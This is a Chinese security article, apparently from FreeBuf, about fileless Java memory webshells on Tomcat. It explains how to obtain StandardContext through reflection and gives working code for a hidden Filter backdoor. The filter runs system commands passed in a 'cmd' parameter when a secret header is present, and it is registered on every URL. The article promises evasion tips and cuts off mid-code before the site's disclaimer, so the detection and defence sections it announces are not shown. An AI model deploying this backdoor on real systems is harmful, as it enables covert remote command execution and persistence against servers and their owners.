文档说明:本文档覆盖无文件内存马核心概念→Java 生态全类型内存马原理与实战代码→完整攻击链路→检测技术→全维度防护→专项应急响应完整闭环,适配 Tomcat 7+/Spring Boot 2.x+/Jetty 等主流 Java Web 容器与框架,覆盖红蓝对抗中 90% 以上的 Java 内存马攻击场景。
所有内存马代码均附带逐行注释 + 攻击场景说明 + 免杀思路,全流程配套 Mermaid 原生可渲染图表(无外部图片依赖,所有 Markdown 编辑器均可正常加载),符合《网络安全等级保护 2.0》Web 应用安全防护要求与红蓝对抗实战规范

图 1:无文件内存马攻防与防护全流程总览图
一、无文件内存马核心概念与攻击背景
1.1 核心定义与本质区别
1.1.1 基础定义
- 无文件攻击:全程不向磁盘写入任何恶意文件,所有恶意代码完全驻留在内存中执行,规避传统基于文件特征的杀毒软件、WAF 检测,攻击痕迹极难留存。
- 内存马:全称内存 Webshell,是无文件攻击在 Web 场景的核心实现形式 —— 通过 Web 漏洞(反序列化、命令执行、文件上传等),利用 Java 反射与动态类加载机制,向 Web 容器 / 框架的运行时内存中注入恶意组件,无需修改磁盘配置、无需落地 jsp/Class 文件,即可实现对 Web 应用的持久化控制、任意代码执行。
1.1.2 内存马与传统 Webshell 核心区别
| 对比维度 | 传统磁盘 Webshell | 无文件内存马 |
|---|---|---|
| 存储形式 | 落地.jsp/.php 等文件到服务器磁盘 | 完全驻留在 JVM 内存中,无磁盘文件落地 |
| 检测难度 | 易被杀毒软件、WAF 通过文件特征、内容关键字检测 | 极难检测,传统文件扫描完全失效,仅能通过内存行为、内存取证发现 |
| 生命周期 | 只要文件不被删除,永久有效 | 普通内存马随 Web 容器重启失效,高级内存马可实现跨重启持久化 |
| 隐蔽性 | 易被运维人员通过文件修改、目录扫描发现 | 无文件痕迹,仅能通过 JVM 内存分析、容器组件排查发现 |
| 攻击链路 | 需获取文件写入权限,攻击门槛低 | 需获取代码执行权限,攻击门槛高,隐蔽性极强,是红蓝对抗核心持久化手段 |

图 2:Java 无文件内存马全分类思维导图
1.2 内存马攻击流行背景
- 传统 Webshell 检测体系成熟:杀毒软件、WAF、主机安全产品对磁盘 Webshell 的特征检测、行为检测已非常完善,传统 Webshell 存活率极低。
- Java 反序列化漏洞爆发:Log4j2、Fastjson、Shiro 等主流 Java 组件的反序列化漏洞频发,为内存马提供了大量无文件注入入口,无需文件写入权限即可完成注入。
- 红蓝对抗实战需求驱动:红队需要高隐蔽、高存活的持久化后门,内存马无文件、无痕迹、难检测的特性,完美适配攻防对抗的需求,成为内网渗透的核心手段。
- 云原生与容器化普及:容器化环境中,磁盘文件易被重置、监控严格,内存驻留的攻击方式更适配容器环境的攻击场景。
二、Java 内存马核心实现原理
Java 内存马的实现,完全依赖Java Web 容器的请求处理机制与JVM 的反射、动态类加载特性,本节先讲透核心原理,为后续实战代码打下基础。
2.1 Tomcat 请求处理全流程
Tomcat 是最主流的 Java Web 容器,90% 以上的 Java 内存马都是针对 Tomcat 设计,理解 Tomcat 的请求处理流程,就能明白内存马的注入逻辑。

图 3:Tomcat 标准 HTTP 请求处理全流程图
核心原理总结:
所有客户端的 HTTP 请求,都会按固定流程经过 Tomcat 的一系列组件,最终到达业务 Servlet。内存马的核心逻辑,就是通过反射获取 Tomcat 的运行时上下文(StandardContext),向请求链路的关键节点中,动态注入恶意组件,让所有请求(或特定请求)都经过恶意代码的处理,从而实现任意代码执行、后门控制。
2.2 内存马实现的核心前提
- 获取 StandardContext:StandardContext 是 Tomcat 中对应 Web 应用的核心上下文对象,所有 Filter、Servlet、Listener 的注册、管理都由它完成,是注入内存马的核心前提。
- JVM 动态类加载能力:Java 支持在运行时通过反射、ClassLoader 动态定义、加载新的 Class,无需提前编译、落地 Class 文件,这是无文件注入的核心基础。
- 容器组件的动态注册机制:Tomcat、Spring 等框架,都支持在运行时动态注册 Filter、Servlet、Controller 等组件,无需修改 web.xml、配置文件,为内存马注入提供了 API 支持。
2.3 通用 StandardContext 获取代码(兼容主流 Tomcat 版本)
所有内存马的第一步,都是获取 StandardContext 对象,以下是攻防实战中最常用的兼容版获取代码,附带逐行注释:
import org.apache.catalina.Context;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoader;
import java.lang.reflect.Field;
public class ContextUtil {
// 通用获取StandardContext的方法,兼容Tomcat 7/8/9/10
public static StandardContext getStandardContext() {
try {
// 1. 获取当前Web应用的WebappClassLoader
WebappClassLoader classLoader = (WebappClassLoader) Thread.currentThread().getContextClassLoader();
// 2. 反射获取ClassLoader中的context属性
Field contextField = WebappClassLoader.class.getDeclaredField("context");
contextField.setAccessible(true);
// 3. 获取StandardContext对象
StandardContext standardContext = (StandardContext) contextField.get(classLoader);
return standardContext;
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
}代码说明:
- 该方法通过当前线程的上下文 ClassLoader,反射获取 Tomcat 的 StandardContext 对象,全程无文件操作,完全在内存中执行。
- 兼容绝大多数 Tomcat 版本,是红队实战中最通用的上下文获取方式。
- 备选方案:若该方式失效,可通过 ServletRequest 对象、ThreadLocal、MBean 等方式获取上下文,适配不同的漏洞场景。
三、攻防实战:Java 全类型内存马完整实现
本节覆盖红蓝对抗中最常用的 5 类 Java 内存马,每类均包含核心原理、完整无文件注入代码、逐行注释、攻击场景、触发方式、免杀思路,配套对应的执行流程图。
3.1 Filter 型内存马(最主流、最常用)
3.1.1 核心原理
Filter 是 Java Web 的过滤器,所有 HTTP 请求都会先经过 Filter 链的处理,再到达 Servlet。Filter 型内存马,就是向 Tomcat 的 Filter 链中,动态注册一个恶意 Filter,拦截所有客户端请求,当请求中包含特定的触发特征(如特殊请求头、请求参数)时,执行恶意代码,实现任意命令执行。
核心优势:全请求覆盖、触发灵活、隐蔽性强、免杀难度低,是红蓝对抗中使用率最高的内存马类型。

图 4:Filter 型内存马请求处理流程图
3.1.2 完整无文件注入代码
import org.apache.catalina.core.StandardContext;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.Map;
// 恶意Filter类,实现Filter接口
class EvilFilter implements Filter {
// 触发密钥,只有请求头中包含该密钥,才会执行恶意代码,避免被扫描发现
private final String TRIGGER_HEADER = "X-Cmd-Token: evilpass123";
@Override
public void init(FilterConfig filterConfig) throws ServletException {}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
// 强转请求响应对象
HttpServletRequest req = (HttpServletRequest) request;
HttpServletResponse resp = (HttpServletResponse) response;
// 校验触发头,只有匹配才执行恶意代码,否则直接放行,隐蔽性极强
String header = req.getHeader("X-Cmd-Token");
if (header != null && header.equals("evilpass123")) {
// 获取请求中的cmd参数,执行系统命令
String cmd = req.getParameter("cmd");
if (cmd != null && !cmd.isEmpty()) {
// 执行系统命令
Process process = Runtime.getRuntime().exec(cmd);
InputStream inputStream = process.getInputStream();
// 读取命令执行结果
byte[] buffer = new byte[1024];
int len;
StringBuilder result = new StringBuilder();
while ((len = inputStream.read(buffer)) != -1) {
result.append(new String(buffer, 0, len));
}
// 返回执行结果
resp.setContentType("text/html;charset=UTF-8");
PrintWriter out = resp.getWriter();
out.println("<pre>" + result.toString() + "</pre>");
out.flush();
out.close();
// 执行完恶意代码后,不继续走Filter链,避免留下日志
return;
}
}
// 不匹配触发特征,直接放行,完全不影响正常业务
chain.doFilter(request, response);
}
@Override
public void destroy() {}
}
// 内存马注入主类,全程无文件落地,完全在内存中执行
public class FilterMemShellInjector {
public static void inject() throws Exception {
// 1. 获取StandardContext上下文
StandardContext context = ContextUtil.getStandardContext();
if (context == null) {
throw new Exception("获取StandardContext失败");
}
// 2. 实例化恶意Filter对象
EvilFilter evilFilter = new EvilFilter();
// 3. 动态注册Filter到Tomcat上下文
FilterRegistration.Dynamic filterRegistration = context.addFilter("EvilFilter", evilFilter);
// 4. 配置Filter拦截所有请求
filterRegistration.addMappingForUrlPatterns(null, true, "/*")免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
已在FreeBuf发表 0 篇文章
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf
客服小蜜蜂(微信:freebee1024)


